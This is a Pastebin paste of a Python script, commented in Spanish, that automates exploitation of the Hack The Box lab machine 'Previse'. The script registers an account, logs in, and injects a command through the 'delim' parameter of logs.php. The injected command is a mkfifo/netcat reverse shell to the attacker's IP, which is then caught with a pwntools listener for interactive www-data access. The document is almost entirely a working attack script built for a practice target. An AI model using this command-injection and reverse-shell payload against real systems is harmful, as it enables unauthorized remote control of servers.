Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #!/usr/bin/env python3
- #Script que automatiza el proceso de acceso a la maquina Previse de HTB
- #Teneis que agregar al /etc/hosts la ip de la maquina y el dominio (previse.htb)
- #Por ultimo cambiar la IP de Variables globales a vuestra ip de tun0
- from pwn import *
- import sys
- import requests
- import time
- import pdb
- import threading
- signal.signal(signal.SIGINT, signal.SIG_DFL)
- #Variables globales
- IP = "10.10.14.141" #Cambiar IP
- lport = 443
- create_account_url = "http://previse.htb/accounts.php"
- login_url = "http://previse.htb/login.php"
- log_url = "http://previse.htb/logs.php"
- #Funciones
- def obtainShell():
- try:
- s = requests.Session()
- create_user = {
- 'username' : 'pwned',
- 'password' : 'pwned123',
- 'confirm' : 'pwned123'
- }
- r = s.post(create_account_url, data=create_user)
- p1 = log.progress("CREANDO USUARIO")
- p1.status("\n[*]Usuario creado en la web: pwned:pwned123\n")
- time.sleep(2)
- login_data = {
- 'username' : 'pwned',
- 'password' : 'pwned123'
- }
- r = s.post(login_url, data=login_data)
- p2 = log.progress("\n[*]Enviando Payload")
- log_data = {
- 'delim' : ';rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc %s 443 >/tmp/f' %IP
- }
- time.sleep(2)
- r = s.post(log_url, data=log_data, timeout=1)
- except requests.exceptions.ReadTimeout:
- p2.success("Payload enviado con exito")
- sys.exit(1)
- except Exception as e:
- print(e)
- if __name__ == '__main__':
- try:
- threading.Thread(target=obtainShell).start()
- except Exception as e:
- log.error(str(e))
- shell = listen(lport, timeout=20).wait_for_connection()
- if shell.sock is None:
- log.failure("No se ha obtenido ninguna conexion")
- sys.exit()
- else:
- log.success("Se ha obtenido conexion con el sistema")
- time.sleep(1)
- log.info("Acceso como www-data")
- time.sleep(1)
- shell.interactive()
Advertisement
Add Comment
Please, Sign In to add comment